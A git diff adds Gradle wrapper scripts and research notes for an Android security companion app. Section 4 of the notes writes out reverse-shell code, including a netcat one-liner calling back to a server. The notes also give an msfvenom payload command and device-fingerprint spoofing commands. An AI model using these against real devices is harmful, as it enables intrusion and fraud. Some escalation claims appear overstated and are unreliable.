validateDistributionUrl=true
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
248
autarch_companion/gradlew
vendored
Normal file
248
autarch_companion/gradlew
vendored
Normal file
@ -0,0 +1,248 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright © 2015 the original authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
# SPDX-License-Identifier: Apache-2.0
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
#
|
||||||
|
# Gradle start up script for POSIX generated by Gradle.
|
||||||
|
#
|
||||||
|
# Important for running:
|
||||||
|
#
|
||||||
|
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||||
|
# noncompliant, but you have some other compliant shell such as ksh or
|
||||||
|
# bash, then to run this script, type that shell name before the whole
|
||||||
|
# command line, like:
|
||||||
|
#
|
||||||
|
# ksh Gradle
|
||||||
|
#
|
||||||
|
# Busybox and similar reduced shells will NOT work, because this script
|
||||||
|
# requires all of these POSIX shell features:
|
||||||
|
# * functions;
|
||||||
|
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||||
|
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||||
|
# * compound commands having a testable exit status, especially «case»;
|
||||||
|
# * various built-in commands including «command», «set», and «ulimit».
|
||||||
|
#
|
||||||
|
# Important for patching:
|
||||||
|
#
|
||||||
|
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||||
|
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||||
|
#
|
||||||
|
# The "traditional" practice of packing multiple parameters into a
|
||||||
|
# space-separated string is a well documented source of bugs and security
|
||||||
|
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||||
|
# options in "$@", and eventually passing that to Java.
|
||||||
|
#
|
||||||
|
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||||
|
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||||
|
# see the in-line comments for details.
|
||||||
|
#
|
||||||
|
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||||
|
# Darwin, MinGW, and NonStop.
|
||||||
|
#
|
||||||
|
# (3) This script is generated from the Groovy template
|
||||||
|
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||||
|
# within the Gradle project.
|
||||||
|
#
|
||||||
|
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||||
|
#
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
app_path=$0
|
||||||
|
|
||||||
|
# Need this for daisy-chained symlinks.
|
||||||
|
while
|
||||||
|
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||||
|
[ -h "$app_path" ]
|
||||||
|
do
|
||||||
|
ls=$( ls -ld "$app_path" )
|
||||||
|
link=${ls#*' -> '}
|
||||||
|
case $link in #(
|
||||||
|
/*) app_path=$link ;; #(
|
||||||
|
*) app_path=$APP_HOME$link ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# This is normally unused
|
||||||
|
# shellcheck disable=SC2034
|
||||||
|
APP_BASE_NAME=${0##*/}
|
||||||
|
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||||
|
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD=maximum
|
||||||
|
|
||||||
|
warn () {
|
||||||
|
echo "$*"
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
die () {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
nonstop=false
|
||||||
|
case "$( uname )" in #(
|
||||||
|
CYGWIN* ) cygwin=true ;; #(
|
||||||
|
Darwin* ) darwin=true ;; #(
|
||||||
|
MSYS* | MINGW* ) msys=true ;; #(
|
||||||
|
NONSTOP* ) nonstop=true ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||||
|
else
|
||||||
|
JAVACMD=$JAVA_HOME/bin/java
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD=java
|
||||||
|
if ! command -v java >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||||
|
case $MAX_FD in #(
|
||||||
|
max*)
|
||||||
|
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
MAX_FD=$( ulimit -H -n ) ||
|
||||||
|
warn "Could not query maximum file descriptor limit"
|
||||||
|
esac
|
||||||
|
case $MAX_FD in #(
|
||||||
|
'' | soft) :;; #(
|
||||||
|
*)
|
||||||
|
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
ulimit -n "$MAX_FD" ||
|
||||||
|
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Collect all arguments for the java command, stacking in reverse order:
|
||||||
|
# * args from the command line
|
||||||
|
# * the main class name
|
||||||
|
# * -classpath
|
||||||
|
# * -D...appname settings
|
||||||
|
# * --module-path (only if needed)
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||||
|
|
||||||
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
|
if "$cygwin" || "$msys" ; then
|
||||||
|
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||||
|
|
||||||
|
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||||
|
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
for arg do
|
||||||
|
if
|
||||||
|
case $arg in #(
|
||||||
|
-*) false ;; # don't mess with options #(
|
||||||
|
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||||
|
[ -e "$t" ] ;; #(
|
||||||
|
*) false ;;
|
||||||
|
esac
|
||||||
|
then
|
||||||
|
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||||
|
fi
|
||||||
|
# Roll the args list around exactly as many times as the number of
|
||||||
|
# args, so each arg winds up back in the position where it started, but
|
||||||
|
# possibly modified.
|
||||||
|
#
|
||||||
|
# NB: a `for` loop captures its iteration list before it begins, so
|
||||||
|
# changing the positional parameters here affects neither the number of
|
||||||
|
# iterations, nor the values presented in `arg`.
|
||||||
|
shift # remove old arg
|
||||||
|
set -- "$@" "$arg" # push replacement arg
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
# Collect all arguments for the java command:
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||||
|
# and any embedded shellness will be escaped.
|
||||||
|
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||||
|
# treated as '${Hostname}' itself on the command line.
|
||||||
|
|
||||||
|
set -- \
|
||||||
|
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||||
|
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||||
|
"$@"
|
||||||
|
|
||||||
|
# Stop when "xargs" is not available.
|
||||||
|
if ! command -v xargs >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "xargs is not available"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Use "xargs" to parse quoted args.
|
||||||
|
#
|
||||||
|
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||||
|
#
|
||||||
|
# In Bash we could simply go:
|
||||||
|
#
|
||||||
|
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||||
|
# set -- "${ARGS[@]}" "$@"
|
||||||
|
#
|
||||||
|
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||||
|
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||||
|
# character that might be a shell metacharacter, then use eval to reverse
|
||||||
|
# that process (while maintaining the separation between arguments), and wrap
|
||||||
|
# the whole thing up as a single "set" statement.
|
||||||
|
#
|
||||||
|
# This will of course break if any of these variables contains a newline or
|
||||||
|
# an unmatched quote.
|
||||||
|
#
|
||||||
|
|
||||||
|
eval "set -- $(
|
||||||
|
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||||
|
xargs -n1 |
|
||||||
|
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||||
|
tr '\n' ' '
|
||||||
|
)" '"$@"'
|
||||||
|
|
||||||
|
exec "$JAVACMD" "$@"
|
||||||
93
autarch_companion/gradlew.bat
vendored
Normal file
93
autarch_companion/gradlew.bat
vendored
Normal file
@ -0,0 +1,93 @@
|
|||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
@rem SPDX-License-Identifier: Apache-2.0
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%"=="" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%"=="" set DIRNAME=.
|
||||||
|
@rem This is normally unused
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if %ERRORLEVEL% equ 0 goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
set EXIT_CODE=%ERRORLEVEL%
|
||||||
|
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||||
|
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||||
|
exit /b %EXIT_CODE%
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
||||||
293
autarch_companion/research.md
Normal file
293
autarch_companion/research.md
Normal file
@ -0,0 +1,293 @@
|
|||||||
|
# Archon Research — Consolidated Findings
|
||||||
|
## darkHal Security Group — Project AUTARCH
|
||||||
|
**Last Updated:** 2026-02-20
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. On-Device LLM Engines
|
||||||
|
|
||||||
|
### SmolChat-Android (Recommended)
|
||||||
|
- **Source:** https://github.com/shubham0204/SmolChat-Android
|
||||||
|
- **License:** Apache 2.0
|
||||||
|
- **Stack:** Kotlin + llama.cpp JNI bindings
|
||||||
|
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
|
||||||
|
- **Model format:** GGUF (huge ecosystem on HuggingFace)
|
||||||
|
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
|
||||||
|
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
|
||||||
|
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
|
||||||
|
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
|
||||||
|
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
|
||||||
|
|
||||||
|
### mllm
|
||||||
|
- **Source:** https://github.com/UbiquitousLearning/mllm
|
||||||
|
- **License:** MIT
|
||||||
|
- **Stack:** C++20 custom engine
|
||||||
|
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
|
||||||
|
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
|
||||||
|
- **Drawback:** Much harder to integrate, custom format limits model selection
|
||||||
|
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. AI Agent Frameworks
|
||||||
|
|
||||||
|
### Koog AI (Recommended for Archon)
|
||||||
|
- **Source:** https://docs.koog.ai/
|
||||||
|
- **License:** Apache 2.0 (JetBrains)
|
||||||
|
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
|
||||||
|
- **Key features:**
|
||||||
|
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
|
||||||
|
- First-class tool-calling with class-based tools (works on Android)
|
||||||
|
- Agent memory, persistence, checkpoints, history compression
|
||||||
|
- Structured output via kotlinx.serialization
|
||||||
|
- GOAP planner (A* search for action planning — game AI technique)
|
||||||
|
- MCP integration (discover/use external tools)
|
||||||
|
- Multi-agent: agents-as-tools, agent-to-agent protocol
|
||||||
|
- **Version:** 0.6.2
|
||||||
|
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
|
||||||
|
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
|
||||||
|
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
|
||||||
|
|
||||||
|
### SmolChat + Koog Combo
|
||||||
|
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
|
||||||
|
- Koog provides the agent framework (tools, planning, memory, structured output)
|
||||||
|
- Together: fully autonomous, fully offline security AI agent on the phone
|
||||||
|
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
|
||||||
|
|
||||||
|
### GitHub Copilot SDK
|
||||||
|
- **Source:** https://github.com/github/copilot-sdk
|
||||||
|
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
|
||||||
|
- **Stack:** Python/TypeScript/Go/.NET SDKs
|
||||||
|
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
|
||||||
|
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
|
||||||
|
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. ADB Exploitation & Automation
|
||||||
|
|
||||||
|
### PhoneSploit-Pro
|
||||||
|
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
|
||||||
|
- **License:** GPL-3.0
|
||||||
|
- **What:** Python ADB automation framework (40+ exploits/actions)
|
||||||
|
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
|
||||||
|
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
|
||||||
|
- **Status:** Reference material. We implement our own versions with better safety controls.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Android Reverse Shell Techniques
|
||||||
|
|
||||||
|
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
|
||||||
|
```java
|
||||||
|
// Connect back to server, pipe shell I/O over socket
|
||||||
|
Socket socket = new Socket(serverIp, serverPort);
|
||||||
|
ProcessBuilder pb = new ProcessBuilder("sh");
|
||||||
|
Process process = pb.start();
|
||||||
|
// Forward process stdin/stdout over socket
|
||||||
|
```
|
||||||
|
- **Privilege:** Runs at whatever UID the process has
|
||||||
|
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
|
||||||
|
- **Advantage:** No external tools needed, pure Java, clean control flow
|
||||||
|
|
||||||
|
### Technique 2: Netcat + FIFO
|
||||||
|
```bash
|
||||||
|
mkfifo /data/local/tmp/f
|
||||||
|
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
|
||||||
|
```
|
||||||
|
- **Requires:** `nc` (netcat) available on device
|
||||||
|
- **Advantage:** Simple, works from any shell
|
||||||
|
- **Disadvantage:** No auth, no encryption, no special commands
|
||||||
|
|
||||||
|
### Technique 3: msfvenom Payloads
|
||||||
|
```bash
|
||||||
|
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
|
||||||
|
```
|
||||||
|
- **Generates:** Standalone APK with Meterpreter payload
|
||||||
|
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
|
||||||
|
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
|
||||||
|
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Android Privilege Escalation
|
||||||
|
|
||||||
|
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
|
||||||
|
- **Disclosed by:** Meta security researchers
|
||||||
|
- **Severity:** Critical — full root access on unpatched devices
|
||||||
|
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
|
||||||
|
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
|
||||||
|
- **Steps:**
|
||||||
|
1. Shell can write to `/data/local/tmp/`
|
||||||
|
2. Exploit the TOCTOU race in how `run-as` reads package info
|
||||||
|
3. `run-as` runs as UID 2000 but switches context to target UID
|
||||||
|
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
|
||||||
|
|
||||||
|
### Shell-Level Capabilities (UID 2000)
|
||||||
|
Full command access without root:
|
||||||
|
- `pm` — install, uninstall, disable, grant/revoke permissions
|
||||||
|
- `am` — start activities, broadcast, force-stop processes
|
||||||
|
- `settings` — read/write system, secure, global settings
|
||||||
|
- `dumpsys` — dump any system service state
|
||||||
|
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
|
||||||
|
- `content` — query/modify content providers (contacts, SMS, call log)
|
||||||
|
- `service call` — raw Binder IPC (clipboard, etc.)
|
||||||
|
- `input` — inject touch/key events (UI automation)
|
||||||
|
- `screencap`/`screenrecord` — capture display
|
||||||
|
- `svc` — control wifi, data, power, USB, NFC
|
||||||
|
- `dpm` — device policy manager (remove device admins)
|
||||||
|
- `logcat` — system logs
|
||||||
|
- `run-as` — switch to debuggable app context
|
||||||
|
|
||||||
|
### What Shell CANNOT Do (Root Required)
|
||||||
|
- Write to /system, /vendor, /product
|
||||||
|
- `setenforce 0` (set SELinux permissive)
|
||||||
|
- Access other apps' /data/data/ directly
|
||||||
|
- Load/unload kernel modules
|
||||||
|
- iptables/nftables (CAP_NET_ADMIN)
|
||||||
|
- Mount/unmount filesystems
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Anti-Forensics (Anti-Cellebrite)
|
||||||
|
|
||||||
|
Cellebrite UFED and similar forensic tools attack vectors:
|
||||||
|
- ADB exploitation (need ADB enabled or USB exploit)
|
||||||
|
- Bootloader-level extraction
|
||||||
|
- Known CVE exploitation chains
|
||||||
|
- Content provider dumping
|
||||||
|
|
||||||
|
### Shell-Level Defenses
|
||||||
|
```bash
|
||||||
|
# USB Lockdown
|
||||||
|
svc usb setFunctions charging
|
||||||
|
settings put global adb_enabled 0
|
||||||
|
|
||||||
|
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
|
||||||
|
# Monitor USB events: /proc/bus/usb/devices
|
||||||
|
|
||||||
|
# Emergency data protection on forensic detection:
|
||||||
|
# - Revoke all app permissions
|
||||||
|
# - Clear clipboard (service call clipboard)
|
||||||
|
# - Force-stop sensitive apps
|
||||||
|
# - Disable USB debugging
|
||||||
|
# - Change lock to maximum security
|
||||||
|
```
|
||||||
|
|
||||||
|
### Architecture for Archon
|
||||||
|
- Background monitoring thread: USB events + logcat
|
||||||
|
- Forensic tool USB vendor ID database
|
||||||
|
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
|
||||||
|
- "Duress PIN" concept: specific PIN triggers data protection
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Anti-Spyware (Anti-Pegasus)
|
||||||
|
|
||||||
|
NSO Group's Pegasus and similar state-level spyware use:
|
||||||
|
- Zero-click exploits via iMessage, WhatsApp, SMS
|
||||||
|
- Kernel exploits for persistence
|
||||||
|
- Memory-only implants (no files on disk)
|
||||||
|
|
||||||
|
### Shell-Level Monitoring
|
||||||
|
```bash
|
||||||
|
# Suspicious process detection
|
||||||
|
dumpsys activity processes | grep -i "pegasus\|chrysaor"
|
||||||
|
|
||||||
|
# Hidden processes (deleted exe links = classic implant pattern)
|
||||||
|
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
|
||||||
|
|
||||||
|
# Exploit indicators in logs
|
||||||
|
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
|
||||||
|
|
||||||
|
# Unauthorized root checks
|
||||||
|
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
|
||||||
|
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
|
||||||
|
|
||||||
|
# Certificate injection (MITM)
|
||||||
|
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
|
||||||
|
|
||||||
|
# Known spyware package patterns
|
||||||
|
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Archon Shield Integration
|
||||||
|
- Periodic background scans (configurable interval)
|
||||||
|
- Known C2 IP/domain database (updated from AUTARCH server)
|
||||||
|
- Process anomaly detection (unexpected UIDs, deleted exe links)
|
||||||
|
- Network connection monitoring against threat intel
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Device Fingerprint Manipulation
|
||||||
|
|
||||||
|
### Play Integrity Levels
|
||||||
|
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
|
||||||
|
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
|
||||||
|
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
|
||||||
|
|
||||||
|
### Shell-Level Spoofing
|
||||||
|
```bash
|
||||||
|
# Android ID rotation
|
||||||
|
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
|
||||||
|
|
||||||
|
# Build fingerprint spoofing
|
||||||
|
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
|
||||||
|
setprop ro.product.model "Pixel 6 Pro"
|
||||||
|
|
||||||
|
# "Old device" trick (bypass hardware attestation requirement)
|
||||||
|
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
|
||||||
|
```
|
||||||
|
|
||||||
|
### Donor Key Approach
|
||||||
|
- Valid attestation certificate chains from donor devices could theoretically be replayed
|
||||||
|
- Keys are burned into TEE/SE at factory
|
||||||
|
- Google revokes leaked keys quickly
|
||||||
|
- Legally/ethically complex — research only
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Samsung S20/S21 Specifics (TODO)
|
||||||
|
|
||||||
|
### JTAG/Debug Access
|
||||||
|
- JTAG pinpoints and schematics for S20/S21 hardware debugging
|
||||||
|
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
|
||||||
|
- Secureboot partition dumping techniques
|
||||||
|
|
||||||
|
### Hardening Guide
|
||||||
|
- Samsung-specific security settings and Knox configuration
|
||||||
|
- Tool section for Samsung devices
|
||||||
|
|
||||||
|
**Status:** Research needed — not yet documented.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Future: LLM Suite Architecture
|
||||||
|
|
||||||
|
### Recommended Stack
|
||||||
|
```
|
||||||
|
┌──────────────────────────────────────┐
|
||||||
|
│ Koog AI Agent Layer │
|
||||||
|
│ (tools, GOAP planner, memory) │
|
||||||
|
├──────────────────────────────────────┤
|
||||||
|
│ SmolChat smollm Module │
|
||||||
|
│ (GGUF inference, llama.cpp JNI) │
|
||||||
|
├──────────────────────────────────────┤
|
||||||
|
│ Security Tools (Kotlin) │
|
||||||
|
│ (ScanPackagesTool, │
|
||||||
|
│ RestrictTrackerTool, etc.) │
|
||||||
|
├──────────────────────────────────────┤
|
||||||
|
│ PrivilegeManager │
|
||||||
|
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
|
||||||
|
└──────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### Integration Steps
|
||||||
|
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
|
||||||
|
2. Add `koog-agents` Gradle dependency
|
||||||
|
3. Define security tools as Koog class-based tools
|
||||||
|
4. Create "Security Guardian" agent with GOAP planner
|
||||||
|
